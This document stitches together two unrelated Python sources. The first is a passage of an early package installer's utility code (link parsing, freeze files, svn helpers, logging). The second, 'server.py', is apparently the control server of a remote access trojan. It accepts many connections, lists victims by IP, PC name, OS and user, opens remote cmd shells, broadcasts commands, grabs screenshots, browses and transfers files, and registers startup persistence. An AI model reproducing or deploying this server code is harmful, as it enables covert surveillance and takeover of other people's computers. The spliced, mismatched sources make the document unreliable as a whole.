log_meth = logger.warn
if hasattr(e, 'reason') and isinstance(e.reason, socket.timeout):
desc = 'timed out'
level = 1
else:
level = 2
elif isinstance(e, urllib2.HTTPError) and e.code == 404:
## FIXME: notify?
log_meth = logger.info
level = 2
else:
log_meth = logger.warn
level = 1
log_meth('Could not fetch URL %s: %s' % (link, desc))
log_meth('Will skip URL %s when looking for download links for %s' % (link.url, req))
if cache is not None:
cache.add_page_failure(url, level)
return None
if cache is not None:
cache.add_page([url, real_url], inst)
return inst
@staticmethod
def _get_content_type(url):
"""Get the Content-Type of the given url, using a HEAD request"""
scheme, netloc, path, query, fragment = urlparse.urlsplit(url)
if scheme == 'http':
ConnClass = httplib.HTTPConnection
elif scheme == 'https':
ConnClass = httplib.HTTPSConnection
else:
## FIXME: some warning or something?
## assertion error?
return ''
if query:
path += '?' + query
conn = ConnClass(netloc)
try:
conn.request('HEAD', path, headers={'Host': netloc})
resp = conn.getresponse()
if resp.status != 200:
## FIXME: doesn't handle redirects
return ''
return resp.getheader('Content-Type') or ''
finally:
conn.close()
@property
def links(self):
"""Yields all links in the page"""
for match in self._href_re.finditer(self.content):
url = match.group(1) or match.group(2) or match.group(3)
yield Link(urlparse.urljoin(self.url, url), self)
def rel_links(self):
for url in self.explicit_rel_links():
yield url
for url in self.scraped_rel_links():
yield url
def explicit_rel_links(self, rels=('homepage', 'download')):
"""Yields all links with the given relations"""
for match in self._rel_re.finditer(self.content):
found_rels = match.group(1).lower().split()
for rel in rels:
if rel in found_rels:
break
else:
continue
match = self._href_re.search(match.group(0))
if not match:
continue
url = match.group(1) or match.group(2) or match.group(3)
yield Link(urlparse.urljoin(self.url, url), self)
def scraped_rel_links(self):
for regex in (self._homepage_re, self._download_re):
match = regex.search(self.content)
if not match:
continue
href_match = self._href_re.search(self.content, pos=match.end())
if not href_match:
continue
url = match.group(1) or match.group(2) or match.group(3)
if not url:
continue
url = urlparse.urljoin(self.url, url)
yield Link(url, self)
class PageCache(object):
"""Cache of HTML pages"""
failure_limit = 3
def __init__(self):
self._failures = {}
self._pages = {}
self._archives = {}
def too_many_failures(self, url):
return self._failures.get(url, 0) >= self.failure_limit
def get_page(self, url):
return self._pages.get(url)
def is_archive(self, url):
return self._archives.get(url, False)
def set_is_archive(self, url, value=True):
self._archives[url] = value
def add_page_failure(self, url, level):
self._failures[url] = self._failures.get(url, 0)+level
def add_page(self, urls, page):
for url in urls:
self._pages[url] = page
class Link(object):
def __init__(self, url, comes_from=None):
self.url = url
self.comes_from = comes_from
def __str__(self):
if self.comes_from:
return '%s (from %s)' % (self.url, self.comes_from)
else:
return self.url
def __repr__(self):
return '<Link %s>' % self
@property
def filename(self):
url = self.url
url = url.split('#', 1)[0]
url = url.split('?', 1)[0]
url = url.rstrip('/')
name = posixpath.basename(url)
assert name, (
'URL %r produced no filename' % url)
return name
@property
def scheme(self):
return urlparse.urlsplit(self.url)[0]
@property
def path(self):
return urlparse.urlsplit(self.url)[2]
def splitext(self):
return splitext(posixpath.basename(self.path.rstrip('/')))
_egg_fragment_re = re.compile(r'#egg=([^&]*)')
@property
def egg_fragment(self):
match = self._egg_fragment_re.search(self.url)
if not match:
return None
return match.group(1)
_md5_re = re.compile(r'md5=([a-f0-9]+)')
@property
def md5_hash(self):
match = self._md5_re.search(self.url)
if match:
return match.group(1)
return None
@property
def show_url(self):
return posixpath.basename(self.url.split('#', 1)[0].split('?', 1)[0])
############################################################
## Writing freeze files
def write_freeze(filename, requirement, find_links, find_tags=False):
if filename == '-':
logger.move_stdout_to_stderr()
dependency_links = []
if filename == '-':
f = sys.stdout
else:
## FIXME: should be possible to overwrite requirement file
logger.notify('Writing frozen requirements to %s' % filename)
f = open(filename, 'w')
for dist in pkg_resources.working_set:
if dist.has_metadata('dependency_links.txt'):
dependency_links.extend(dist.get_metadata_lines('dependency_links.txt'))
for link in find_links:
if '#egg=' in link:
dependency_links.append(link)
for link in find_links:
f.write('-f %s\n' % link)
installations = {}
for dist in pkg_resources.working_set:
if dist.key in ('setuptools', 'pyinstall', 'python'):
## FIXME: also skip virtualenv?
continue
req = FrozenRequirement.from_dist(dist, dependency_links, find_tags=find_tags)
installations[req.name] = req
if requirement:
req_f = open(requirement)
for line in req_f:
if not line or line.strip().startswith('#'):
f.write(line)
continue
elif line.startswith('-e') or line.startswith('--editable'):
if line.startswith('-e'):
line = line[2:].strip()
else:
line = line[len('--editable'):].strip().lstrip('=')
line_req = InstallRequirement.from_editable(line)
elif (line.startswith('-r') or line.startswith('--requirement')
or line.startswith('-Z') or line.startswith('--always-unzip')):
logger.debug('Skipping line %r' % line.strip())
continue
else:
line_req = InstallRequirement.from_line(line)
if not line_req.name:
logger.notify("Skipping line because it's not clear what it would install: %s"
% line.strip())
continue
if line_req.name not in installations:
logger.warn("Requirement file contains %s, but that package is not installed"
% line.strip())
continue
f.write(str(installations[line_req.name]))
del installations[line_req.name]
f.write('## The following requirements were added by pyinstall --freeze:\n')
for installation in sorted(installations.values(), key=lambda x: x.name):
f.write(str(installation))
if filename != '-':
logger.notify('Put requirements in %s' % filename)
f.close()
class FrozenRequirement(object):
def __init__(self, name, req, editable, comments=()):
self.name = name
self.req = req
self.editable = editable
self.comments = comments
_rev_re = re.compile(r'-r(\d+)$')
_date_re = re.compile(r'-(20\d\d\d\d\d\d)$')
@classmethod
def from_dist(cls, dist, dependency_links, find_tags=False):
location = os.path.normcase(os.path.abspath(dist.location))
comments = []
if os.path.exists(os.path.join(location, '.svn')):
editable = True
req = get_src_requirement(dist, location, find_tags)
if req is None:
logger.warn('Could not determine svn location of %s' % location)
comments.append('## !! Could not determine svn location')
req = dist.as_requirement()
editable = False
else:
editable = False
req = dist.as_requirement()
specs = req.specs
assert len(specs) == 1 and specs[0][0] == '=='
version = specs[0][1]
ver_match = cls._rev_re.search(version)
date_match = cls._date_re.search(version)
if ver_match or date_match:
svn_location = get_svn_location(dist, dependency_links)
if not svn_location:
logger.warn(
'Warning: cannot find svn location for %s' % req)
comments.append('## FIXME: could not find svn URL in dependency_links for this package:')
else:
comments.append('# Installing as editable to satisfy requirement %s:' % req)
if ver_match:
rev = ver_match.group(1)
else:
rev = '{%s}' % date_match.group(1)
editable = True
req = 'svn+%s@%s#egg=%s' % (svn_location, rev, cls.egg_name(dist))
return cls(dist.project_name, req, editable, comments)
@staticmethod
def egg_name(dist):
name = dist.egg_name()
match = re.search(r'-py\d\.\d$', name)
if match:
name = name[:match.start()]
return name
def __str__(self):
req = self.req
if self.editable:
req = '-e %s' % req
return '\n'.join(list(self.comments)+[str(req)])+'\n'
def get_svn_location(dist, dependency_links):
egg_fragment_re = re.compile(r'#egg=(.*)$')
for url in dependency_links:
egg_fragment = Link(url).egg_fragment
if not egg_fragment:
continue
if '-' in egg_fragment:
## FIXME: will this work when a package has - in the name?
key = '-'.join(egg_fragment.split('-')[:-1]).lower()
else:
key = egg_fragment
if key == dist.key:
return url.split('#', 1)[0]
return None
def get_src_requirement(dist, location, find_tags):
if not os.path.exists(os.path.join(location, '.svn')):
logger.warn('cannot determine version of editable source in %s (is not svn checkout)' % location)
return dist.as_requirement()
repo = get_svn_url(location)
if repo is None:
return None
parts = repo.split('/')
## FIXME: why not project name?
egg_project_name = dist.egg_name().split('-', 1)[0]
if parts[-2] in ('tags', 'tag'):
# It's a tag, perfect!
return 'svn+%s#egg=%s-%s' % (repo, egg_project_name, parts[-1])
elif parts[-2] in ('branches', 'branch'):
# It's a branch :(
rev = get_svn_revision(location)
return 'svn+%s@%s#egg=%s%s-r%s' % (repo, rev, dist.egg_name(), parts[-1], rev)
elif parts[-1] == 'trunk':
# Trunk :-/
rev = get_svn_revision(location)
if find_tags:
tag_url = '/'.join(parts[:-1]) + '/tags'
tag_revs = get_tag_revs(tag_url)
match = find_tag_match(rev, tag_revs)
if match:
logger.notify('trunk checkout %s seems to be equivalent to tag %s' % match)
return 'svn+%s/%s#egg=%s-%s' % (tag_url, match, egg_project_name, match)
return 'svn+%s@%s#egg=%s-dev' % (repo, rev, dist.egg_name())
else:
# Don't know what it is
logger.warn('svn URL does not fit normal structure (tags/branches/trunk): %s' % repo)
rev = get_svn_revision(location)
return '%s@%s#egg=%s-dev' % (repo, rev, egg_project_name)
_svn_url_re = re.compile('url="([^"]+)"')
_svn_rev_re = re.compile('committed-rev="(\d+)"')
def get_svn_revision(location):
"""
Return the maximum revision for all files under a given location
"""
# Note: taken from setuptools.command.egg_info
revision = 0
for base, dirs, files in os.walk(location):
if '.svn' not in dirs:
dirs[:] = []
continue # no sense walking uncontrolled subdirs
dirs.remove('.svn')
entries_fn = os.path.join(base, '.svn', 'entries')
if not os.path.exists(entries_fn):
## FIXME: should we warn?
continue
f = open(entries_fn)
data = f.read()
f.close()
if data.startswith('8') or data.startswith('9'):
data = map(str.splitlines,data.split('\n\x0c\n'))
del data[0][0] # get rid of the '8'
dirurl = data[0][3]
revs = [int(d[9]) for d in data if len(d)>9 and d[9]]+[0]
if revs:
localrev = max(revs)
else:
localrev = 0
elif data.startswith('<?xml'):
dirurl = _svn_url_re.search(data).group(1) # get repository URL
revs = [int(m.group(1)) for m in _svn_rev_re.finditer(data)]+[0]
if revs:
localrev = max(revs)
else:
localrev = 0
else:
logger.warn("Unrecognized .svn/entries format; skipping %s", base)
dirs[:] = []
continue
if base == location:
base_url = dirurl+'/' # save the root url
elif not dirurl.startswith(base_url):
dirs[:] = []
continue # not part of the same svn tree, skip it
revision = max(revision, localrev)
return revision
def get_svn_url(location):
# In cases where the source is in a subdirectory, not alongside setup.py
# we have to look up in the location until we find a real setup.py
orig_location = location
while not os.path.exists(os.path.join(location, 'setup.py')):
last_location = location
location = os.path.dirname(location)
if location == last_location:
# We've traversed up to the root of the filesystem without finding setup.py
logger.warn("Could not find setup.py for directory %s (tried all parent directories)"
% orig_location)
return None
f = open(os.path.join(location, '.svn', 'entries'))
data = f.read()
f.close()
if data.startswith('8') or data.startswith('9'):
data = map(str.splitlines,data.split('\n\x0c\n'))
del data[0][0] # get rid of the '8'
return data[0][3]
elif data.startswith('<?xml'):
return _svn_url_re.search(data).group(1) # get repository URL
else:
logger.warn("Unrecognized .svn/entries format in %s" % location)
# Or raise exception?
return None
def get_tag_revs(svn_tag_url):
stdout = call_subprocess(
['svn', 'ls', '-v', svn_tag_url], show_stdout=False)
results = []
for line in stdout.splitlines():
parts = line.split()
rev = int(parts[0])
tag = parts[-1].strip('/')
results.append((tag, rev))
return results
def find_tag_match(rev, tag_revs):
best_match_rev = None
best_tag = None
for tag, tag_rev in tag_revs:
if (tag_rev > rev and
(best_match_rev is None or best_match_rev > tag_rev)):
# FIXME: Is best_match > tag_rev really possible?
# or is it a sign something is wacky?
best_match_rev = tag_rev
best_tag = tag
return best_tag
############################################################
## Requirement files
_scheme_re = re.compile(r'^(http|https|file):', re.I)
_drive_re = re.compile(r'/*([a-z])\|', re.I)
def get_file_content(url, comes_from=None):
"""Gets the content of a file; it may be a filename, file: URL, or
http: URL. Returns (location, content)"""
match = _scheme_re.search(url)
if match:
scheme = match.group(1).lower()
if (scheme == 'file' and comes_from
and comes_from.startswith('http')):
raise InstallationError(
'Requirements file %s references URL %s, which is local'
% (comes_from, url))
if scheme == 'file':
path = url.split(':', 1)[1]
path = path.replace('\\', '/')
match = _drive_re.match(path)
if match:
path = match.group(1) + ':' + path.split('|', 1)[1]
path = urllib.unquote(path)
if path.startswith('/'):
path = '/' + path.lstrip('/')
url = path
else:
## FIXME: catch some errors
resp = urllib2.urlopen(url)
return resp.geturl(), resp.read()
f = open(url)
content = f.read()
f.close()
return url, content
def parse_requirements(filename, finder, comes_from=None):
filename, content = get_file_content(filename, comes_from=comes_from)
for line_number, line in enumerate(content.splitlines()):
line_number += 1
line = line.strip()
if not line or line.startswith('#'):
continue
if line.startswith('-r') or line.startswith('--requirement'):
if line.startswith('-r'):
req_url = line[2:].strip()
else:
req_url = line[len('--requirement'):].strip().strip('=')
if _scheme_re.search(filename):
# Relative to a URL
req_url = urlparse.urljoin(filename, url)
elif not _scheme_re.search(req_url):
req_url = os.path.join(os.path.dirname(filename), req_url)
for item in parse_requirements(req_url, finder, comes_from=filename):
yield item
elif line.startswith('-Z') or line.startswith('--always-unzip'):
# No longer used, but previously these were used in
# requirement files, so we'll ignore.
pass
elif line.startswith('-f') or line.startswith('--find-links'):
if line.startswith('-f'):
line = line[2:].strip()
else:
line = line[len('--find-links'):].strip().lstrip('=')
## FIXME: it would be nice to keep track of the source of
## the find_links:
finder.find_links.append(line)
else:
comes_from = '-r %s (line %s)' % (filename, line_number)
if line.startswith('-e') or line.startswith('--editable'):
if line.startswith('-e'):
line = line[2:].strip()
else:
line = line[len('--editable'):].strip()
req = InstallRequirement.from_editable(
line, comes_from)
else:
req = InstallRequirement(line, comes_from)
yield req
############################################################
## Logging
class Logger(object):
"""
Logging object for use in command-line script. Allows ranges of
levels, to avoid some redundancy of displayed information.
"""
VERBOSE_DEBUG = logging.DEBUG-1
DEBUG = logging.DEBUG
INFO = logging.INFO
NOTIFY = (logging.INFO+logging.WARN)/2
WARN = WARNING = logging.WARN
ERROR = logging.ERROR
FATAL = logging.FATAL
LEVELS = [VERBOSE_DEBUG, DEBUG, INFO, NOTIFY, WARN, ERROR, FATAL]
def __init__(self, consumers):
self.consumers = consumers
self.indent = 0
self.in_progress = None
self.in_progress_hanging = False
def debug(self, msg, *args, **kw):
self.log(self.DEBUG, msg, *args, **kw)
def info(self, msg, *args, **kw):
self.log(self.INFO, msg, *args, **kw)
def notify(self, msg, *args, **kw):
self.log(self.NOTIFY, msg, *args, **kw)
def warn(self, msg, *args, **kw):
self.log(self.WARN, msg, *args, **kw)
def error(self, msg, *args, **kw):
self.log(self.WARN, msg, *args, **kw)
def fatal(self, msg, *args, **kw):
self.log(self.FATAL, msg, *args, **kw)
def log(self, level, msg, *args, **kw):
if args:
if kw:
raise TypeError(
"You may give positional or keyword arguments, not both")
args = args or kw
rendered = None
for consumer_level, consumer in self.consumers:
if self.level_matches(level, consumer_level):
if (self.in_progress_hanging
and consumer in (sys.stdout, sys.stderr)):
self.in_progress_hanging = False
sys.stdout.write('\n')
sys.stdout.flush()
if rendered is None:
if args:
rendered = msg % args
else:
rendered = msg
rendered = ' '*self.indent + rendered
if hasattr(consumer, 'write'):
consumer.write(rendered+'\n')
else:
consumer(rendered)
def start_progress(self, msg):
assert not self.in_progress, (
"Tried to start_progress(%r) while in_progress %r"
% (msg, self.in_progress))
if self.level_matches(self.NOTIFY, self._stdout_level()):
sys.stdout.write(' '*self.indent + msg)
sys.stdout.flush()
self.in_progress_hanging = True
else:
self.in_progress_hanging = False
self.in_progress = msg
self.last_message = None
def end_progress(self, msg='done.'):
assert self.in_progress, (
"Tried to end_progress without start_progress")
if self.stdout_level_matches(self.NOTIFY):
if not self.in_progress_hanging:
# Some message has been printed out since start_progress
sys.stdout.write('...' + self.in_progress + msg + '\n')
sys.stdout.flush()
else:
# These erase any messages shown with show_progress (besides .'s)
logger.show_progress('')
logger.show_progress('')
sys.stdout.write(msg + '\n')
sys.stdout.flush()
self.in_progress = None
self.in_progress_hanging = False
def show_progress(self, message=None):
"""If we are in a progress scope, and no log messages have been
shown, write out another '.'"""
if self.in_progress_hanging:
if message is None:
sys.stdout.write('.')
sys.stdout.flush()
else:
if self.last_message:
padding = ' ' * max(0, len(self.last_message)-len(message))
else:
padding = ''
sys.stdout.write('\r%s%s%s%s' % (' '*self.indent, self.in_progress, message, padding))
sys.stdout.flush()
self.last_message = message
def stdout_level_matches(self, level):
"""Returns true if a message at this level will go to stdout"""
return self.level_matches(level, self._stdout_level())
def _stdout_level(self):
"""Returns the level that stdout runs at"""
for level, consumer in self.consumers:
if consumer is sys.stdout:
return level
return self.FATAL
def level_matches(self, level, consumer_level):
"""
>>> l = Logger()
>>> l.level_matches(3, 4)
False
>>> l.level_matches(3, 2)
True
>>> l.level_matches(slice(None, 3), 3)
False
>>> l.level_matches(slice(None, 3), 2)
True
>>> l.level_matches(slice(1, 3), 1)
True
>>> l.level_matches(slice(2, 3), 1)
False
"""
if isinstance(level, slice):
start, stop = level.start, level.stop
if start is not None and start > consumer_level:
return False
if stop is not None or stop <= consumer_level:
return False
return True
else:
return level >= consumer_level
@classmethod
def level_for_integer(cls, level):
levels = cls.LEVELS
if level < 0:
return levels[0]
if level >= len(levels):
return levels[-1]
return levels[level]
def move_stdout_to_stderr(self):
to_remove = []
to_add = []
for consumer_level, consumer in self.consumers:
if consumer == sys.stdout:
to_remove.append((consumer_level, consumer))
to_add.append((consumer_level, sys.stderr))
for item in to_remove:
self.consumers.remove(item)
self.consumers.extend(to_add)
def call_subprocess(cmd, show_stdout=True,
filter_stdout=None, cwd=None,
raise_on_returncode=True,
command_level=Logger.DEBUG, command_desc=None,
extra_environ=None):
if command_desc is None:
cmd_parts = []
for part in cmd:
if ' ' in part or '\n' in part or '"' in part or "'" in part:
part = '"%s"' % part.replace('"', '\\"')
cmd_parts.append(part)
command_desc = ' '.join(cmd_parts)
if show_stdout:
stdout = None
else:
stdout = subprocess.PIPE
logger.log(command_level, "Running command %s" % command_desc)
env = os.environ.copy()
if extra_environ:
env.update(extra_environ)
try:
proc = subprocess.Popen(
cmd, stderr=subprocess.STDOUT, stdin=None, stdout=stdout,
cwd=cwd, env=env)
except Exception, e:
logger.fatal(
"Error %s while executing command %s" % (e, command_desc))
raise
all_output = []
if stdout is not None:
stdout = proc.stdout
while 1:
line = stdout.readline()
if not line:
break
line = line.rstrip()
all_output.append(line + '\n')
if filter_stdout:
level = filter_stdout(line)
if isinstance(level, tuple):
level, line = level
logger.log(level, line)
if not logger.stdout_level_matches(level):
logger.show_progress()
else:
logger.info(line)
else:
returned_stdout, returned_stderr = proc.communicate()
all_output = [returned_stdout or '']
proc.wait()
if proc.returncode:
if raise_on_returncode:
if all_output:
logger.notify('Complete output from command %s:' % command_desc)
logger.notify('\n'.join(all_output) + '\n----------------------------------------')
raise InstallationError(
"Command %s failed with error code %s"
% (command_desc, proc.returncode))
else:
logger.warn(
"Command %s had error code %s"
% (command_desc, proc.returncode))
if stdout is not None:
return ''.join(all_output)
_svn_url_re = re.compile(r'URL: (.+)')
_svn_revision_re = re.compile(r'Revision: (.+)')
def _get_svn_info(dir):
"""Returns (url, revision), where both are strings"""
assert not dir.rstrip('/').endswith('.svn'), 'Bad directory: %s' % dir
output = call_subprocess(['svn', 'info', dir], show_stdout=False,
extra_environ={'LANG': 'C'})
match = _svn_url_re.search(output)
if not match:
logger.warn('Cannot determine URL of svn checkout %s' % display_path(dir))
logger.info('Output that cannot be parsed: \n%s' % output)
return 'unknown', 'unknown'
url = match.group(1).strip()
match = _svn_revision_re.search(output)
if not match:
logger.warn('Cannot determine revision of svn checkout %s' % display_path(dir))
logger.info('Output that cannot be parsed: \n%s' % output)
return url, 'unknown'
return url, match.group(1)
############################################################
## Utility functions
def is_svn_page(html):
"""Returns true if the page appears to be the index page of an svn repository"""
return (re.search(r'<title>[^<]*Revision \d+:', html)
and re.search(r'Powered by (?:<a[^>]*?>)?Subversion', html, re.I))
def file_contents(filename):
fp = open(filename, 'rb')
try:
return fp.read()
finally:
fp.close()
def split_leading_dir(path):
path = str(path)
path = path.lstrip('/').lstrip('\\')
if '/' in path and (('\\' in path and path.find('/') < path.find('\\'))
or '\\' not in path):
return path.split('/', 1)
elif '\\' in path:
return path.split('\\', 1)
else:
return path, ''
def has_leading_dir(paths):
"""Returns true if all the paths have the same leading path name
(i.e., everything is in one subdirectory in an archive)"""
common_prefix = None
for path in paths:
prefix, rest = split_leading_dir(path)
if not prefix:
return False
elif common_prefix is None:
common_prefix = prefix
elif prefix != common_prefix:
return False
return True
def format_size(bytes):
if bytes > 1000*1000:
return '%.1fMb' % (bytes/1000.0/1000)
elif bytes > 10*1000:
return '%iKb' % (bytes/1000)
elif bytes > 1000:
return '%.1fKb' % (bytes/1000.0)
else:
return '%ibytes' % bytes
_normalize_re = re.compile(r'[^a-z]', re.I)
def normalize_name(name):
return _normalize_re.sub('-', name.lower())
def display_path(path):
"""Gives the display value for a given path, making it relative to cwd
if possible."""
path = os.path.normcase(os.path.abspath(path))
if path.startswith(os.getcwd() + os.path.sep):
path = '.' + path[len(os.getcwd()):]
return path
def parse_editable(editable_req):
"""Parses svn+http://blahblah@rev#egg=Foobar into a requirement
(Foobar) and a URL"""
match = re.search(r'(?:#|#.*?&)egg=([^&]*)', editable_req)
if not match or not match.group(1):
raise InstallationError(
'--editable=%s is not the right format; it must have #egg=Package'
% editable_req)
req = match.group(1)
## FIXME: use package_to_requirement?
match = re.search(r'^(.*?)(?:-dev|-\d.*)', req)
if match:
# Strip off -dev, -0.2, etc.
req = match.group(1)
url = editable_req
if url.lower().startswith('svn:'):
url = 'svn+' + url
if '+' not in url:
raise InstallationError(
'--editable=%s should be formatted with svn+URL' % editable_req)
vc_type = url.split('+', 1)[0].lower()
if vc_type != 'svn':
raise InstallationError(
'For --editable=%s only svn (svn+URL) is currently supported' % editable_req)
return req, url
def backup_dir(dir, ext='.bak'):
"""Figure out the name of a directory to back up the given dir to
(adding .bak, .bak2, etc)"""
n = 1
extension = ext
while os.path.exists(dir + extension):
n += 1
extension = ext + str(n)
return dir + extension
def ask(message, options):
"""Ask the message interactively, with the given possible responses"""
while 1:
response = raw_input(message)
response = response.strip().lower()
if response not in options:
print 'Your response (%r) was not one of the expected responses: %s' % (
response, ', '.join(options))
else:
return response
def open_logfile_append(filename):
"""Open the named log file in append mode.
If the file already exists, a separator will also be printed to
the file to separate past activity from current activity.
"""
exists = os.path.exists(filename)
log_fp = open(filename, 'a')
if exists:
print >> log_fp, '-'*60
print >> log_fp, '%s run on %s' % (sys.argv[0], time.strftime('%c'))
return log_fp
def is_url(name):
"""Returns true if the name looks like a URL"""
if ':' not in name:
return False
scheme = name.split(':', 1)[0].lower()
return scheme in ('http', 'https', 'file', 'ftp')
def is_filename(name):
if (splitext(name)[1].lower() in ('.zip', '.tar.gz', '.tar.bz2', '.tgz', '.tar', '.pybundle')
and os.path.exists(name)):
return True
if os.path.sep not in name and '/' not in name:
# Doesn't have any path components, probably a requirement like 'Foo'
return False
return True
_drive_re = re.compile('^([a-z]):', re.I)
_url_drive_re = re.compile('^([a-z])[|]', re.I)
def filename_to_url(filename):
"""
Convert a path to a file: URL. The path will be made absolute.
"""
filename = os.path.normcase(os.path.abspath(filename))
url = urllib.quote(filename)
if _drive_re.match(url):
url = url[0] + '|' + url[2:]
url = url.replace(os.path.sep, '/')
url = url.lstrip('/')
return 'file:///' + url
def url_to_filename(url):
"""
Convert a file: URL to a path.
"""
assert url.startswith('file:'), (
"You can only turn file: urls into filenames (not %r)" % url)
filename = url[len('file:'):].lstrip('/')
filename = urllib.unquote(filename)
if _url_drive_re.match(filename):
filename = filename[0] + ':' + filename[2:]
else:
filename = '/' + filename
return filename
def get_requirement_from_url(url):
"""Get a requirement from the URL, if possible. This looks for #egg
in the URL"""
link = Link(url)
egg_info = link.egg_fragment
if not egg_info:
egg_info = splitext(link.filename)[0]
return package_to_requirement(egg_info)
def package_to_requirement(package_name):
"""Translate a name like Foo-1.2 to Foo==1.3"""
match = re.search(r'^(.*?)(-dev|-\d.*)', package_name)
if match:
name = match.group(1)
version = match.group(2)
else:
name = package_name
version = ''
if version:
return '%s==%s' % (name, version)
else:
return name
def splitext(path):
"""Like os.path.splitext, but take off .tar too"""
base, ext = posixpath.splitext(path)
if base.lower().endswith('.tar'):
ext = base[-4:] + ext
base = base[:-4]
return base, ext
class _Inf(object):
"""I am bigger than everything!"""
def __cmp__(self, a):
if self is a:
return 0
return 1
def __repr__(self):
return 'Inf'
Inf = _Inf()
del _Inf
if __name__ == '__main__':
main()
|
server.py | import socket, os, time, threading, sys, json
from queue import Queue
from cryptography.fernet import Fernet
arrAddresses = []
arrConnections = []
strHost = "0.0.0.0"
intPort = 3000
intBuff = 1024
queue = Queue()
# function to return string with quotes removed
remove_quotes = lambda string: string.replace("\"", "")
# function to return title centered around string
center = lambda string, title: f"{{:^{len(string)}}}".format(title)
# function to send data
send = lambda data: conn.send(objEncryptor.encrypt(data))
# function to receive data
recv = lambda buffer: objEncryptor.decrypt(conn.recv(buffer))
def recvall(buffer): # function to receive large amounts of data
bytData = b""
while len(bytData) < buffer:
bytData += conn.recv(buffer)
return objEncryptor.decrypt(bytData)
def sendall(flag, data):
bytEncryptedData = objEncryptor.encrypt(data)
intDataSize = len(bytEncryptedData)
send(f"{flag}{intDataSize}".encode())
time.sleep(0.2)
conn.send(bytEncryptedData)
print(f"Total bytes sent: {intDataSize}")
def create_encryptor():
global objKey, objEncryptor
objKey = Fernet.generate_key()
objEncryptor = Fernet(objKey)
def create_socket():
global objSocket
try:
objSocket = socket.socket()
objSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # reuse a socket even if its recently closed
except socket.error() as strError:
print(f"Error creating socket {strError}")
def socket_bind():
global objSocket
try:
print(f"Listening on port {intPort}")
objSocket.bind((strHost, intPort))
objSocket.listen(20)
except socket.error() as strError:
print(f"Error binding socket {strError} Retrying...")
socket_bind()
def socket_accept():
while True:
try:
conn, address = objSocket.accept()
conn.setblocking(1) # no timeout
address += tuple(json.loads(conn.recv(intBuff).decode()))
conn.send(objKey)
arrConnections.append(conn)
arrAddresses.append(address)
print(f"\nConnection has been established: {address[0]} ({address[2]})")
except socket.error:
print("Error accepting connections!")
continue
def _decode(data):
try:
return data.decode()
except UnicodeDecodeError:
try:
return data.decode("cp437")
except UnicodeDecodeError:
return data.decode(errors="replace")
def menu_help():
print("\nH help")
print("L List all connections")
print("I Interact with connection")
print("E Open remote cmd with connection")
print("S Send command to every connection")
print("C Close connection")
print("X Exit and close all connections")
def main_menu():
while True:
strChoice = input("\n>> ").lower()
refresh_connections() # refresh connection list
if strChoice == "l":
list_connections()
elif strChoice[:1] == "i" and len(strChoice) > 1:
conn = select_connection(strChoice[2:], True)
if conn is not None:
send_commands()
elif strChoice == "h":
menu_help()
elif strChoice[:1] == "c" and len(strChoice) > 1:
conn = select_connection(strChoice[2:], False)
if conn is not None:
send(b"exit")
conn.close()
elif strChoice == "x":
close()
break # break to continue work() function
elif strChoice[:1] == "e" and len(strChoice) > 1:
conn = select_connection(strChoice[2:], False)
if conn is not None:
command_shell()
elif strChoice[:1] == "s" and len(strChoice) > 1:
send_command_all(strChoice[2:])
else:
print("Invalid choice, please try again!")
menu_help()
def close():
global arrConnections, arrAddresses, conn
if len(arrAddresses) == 0: # if there are no computers connected
return
for _, conn in enumerate(arrConnections):
send(b"exit")
conn.close()
del arrConnections
arrConnections = []
del arrAddresses
arrAddresses = []
def refresh_connections(): # used to remove any lost connections
global arrConnections, arrAddresses, conn
for intCounter, conn in enumerate(arrConnections):
try:
send(b"test") # test to see if connection is active
except socket.error:
del arrAddresses[arrConnections.index(conn)]
arrConnections.remove(conn)
conn.close()
def list_connections():
refresh_connections()
if not len(arrConnections) > 0:
print("No connections.")
return
strClients = ""
for intCounter, arrAddress in enumerate(arrAddresses):
strClients += f"{intCounter}"
for value in arrAddress:
strClients += f"{4 * ' '}{str(value)}"
strClients += "\n"
strInfo = f"\nID{3 * ' '}"
for index, text in enumerate(["IP", "Port", "PC Name", "OS", "User"]):
strInfo += center(f"{arrAddresses[0][index]}", text) + 4 * " "
strInfo += f"\n{strClients}"
print(strInfo, end="")
def select_connection(connection_id, blnGetResponse):
global conn, arrInfo
try:
connection_id = int(connection_id)
conn = arrConnections[connection_id]
except:
print("Invalid choice, please try again!")
return
else:
'''
IP, PC Name, OS, User
'''
arrInfo = tuple()
for index in [0, 2, 3, 4]:
arrInfo += (f"{arrAddresses[connection_id][index]}",)
if blnGetResponse:
print(f"You are connected to {arrInfo[0]} ....\n")
return conn
def send_command_all(command):
if os.path.isfile("command_log.txt"):
open("command_log.txt", "w").close() # clear previous log contents
for intCounter in range(0, len(arrAddresses)):
conn = select_connection(intCounter, False)
if conn is not None and command != "cmd":
send_command(command)
def user_info():
for index, text in enumerate(["IP: ", "PC Name: ", "OS: ", "User: "]):
print(text + arrInfo[index])
def screenshot():
send(b"screen")
strScrnSize = recv(intBuff).decode() # get screenshot size
print(f"\nReceiving Screenshot\nFile size: {strScrnSize} bytes\nPlease wait...")
intBuffer = int(strScrnSize)
strFile = time.strftime("%Y%m%d%H%M%S.png")
ScrnData = recvall(intBuffer) # get data and write it
with open(strFile, "wb") as objPic:
objPic.write(ScrnData)
print(f"Done!\nTotal bytes received: {os.path.getsize(strFile)} bytes")
def browse_files():
send(b"filebrowser")
print("\nDrives :")
strDrives = recv(intBuff).decode()
print(f"{strDrives}\n")
strDir = input("Directory: ")
if strDir == "":
# tell the client of the invalid directory
strDir = "Invalid"
send(strDir.encode())
strClientResponse = recv(intBuff).decode() # get buffer size
if strClientResponse == "Invalid Directory!": # if the directory is invalid
print(f"\n{strClientResponse}")
return
intBuffer = int(strClientResponse)
strClientResponse = recvall(intBuffer).decode() # receive full data
print(f"\n{strClientResponse}")
def startup():
send(b"startup")
print("Registering ...")
strClientResponse = recv(intBuff).decode()
if not strClientResponse == "success":
print(strClientResponse)
def remove_from_startup():
send(b"rmvstartup")
print("Removing ...")
strClientResponse = recv(intBuff).decode()
if not strClientResponse == "success":
print(strClientResponse)
def send_file():
strFile = remove_quotes(input("\nFile to send: "))
if not os.path.isfile(strFile):
print("Invalid File!")
return
strOutputFile = remove_quotes(input("\nOutput File: "))
if strOutputFile == "": # if the input is blank
return
with open(strFile, "rb") as objFile:
sendall("send", objFile.read())
send(strOutputFile.encode())
strClientResponse = recv(intBuff).decode()
print(strClientResponse)
def receive():
strFile = remove_quotes(input("\nTarget file: "))
strFileOutput = remove_quotes(input("\nOutput File: "))
